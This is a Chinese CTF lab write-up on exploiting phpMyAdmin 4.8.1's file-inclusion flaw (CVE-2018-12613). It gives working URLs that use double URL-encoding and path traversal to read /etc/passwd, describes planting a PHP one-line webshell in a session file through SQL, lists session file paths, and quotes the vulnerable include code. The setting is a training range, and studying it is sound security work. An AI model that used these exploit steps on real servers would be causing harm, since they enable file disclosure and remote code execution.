墨者学院CTF(phpMyAdmin后台文件包含分析溯源)

N 人看过

墨者学院CTF(phpMyAdmin后台文件包含分析溯源)

靶场地址:
http://219.153.49.228:45122/

相关知识:

1.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
2.php代码审计
3.base64编码绕过

思路: 利用过滤规则绕过php文件包含的黑白名单限制,再利用php的session会话机制,包含一句话木马文件获取shell。
获取key(弱口令登录就省了root/root):

1.构造绕过白名单的url:http://219.153.49.228:45122/index.php?target=db_sql.php%253f/../../../../../etc/passwd
测试结果,成功:在这里插入图片描述
2.执行SQL查询,写入一句话木马,此时由于php的session会话机制会把文件写入到服务器session的文件。
常见session文件的保存目录:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
①.写入一句话木马在这里插入图片描述
②.构造服务器解析一句话木马的url:http://219.153.49.228:45122/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_h373iaao32rsf61ss52psvr6eck2vc5r
在这里插入图片描述
③.获取shell.在这里插入图片描述
在这里插入图片描述
疑问:

  1. PHPSESSID是浏览器里边的cookie值,执行select 一句话木马后有的。
  2. 不用再写什么phpinfo找写一句话木马路径了,麻烦不麻烦啊
  3. 为什么是?target=db_sql.php,index.php源码里边的参数,后边自己看源码,db_sql.php是白名单中的文件,可以通过过滤规则。
  4. %253 是“?”的两次url编码,绕过滤用的,自己解码试试就知道了。

部分源码:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

完整版代码下载地址:
https://www.phpmyadmin.net/files/4.8.1/

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。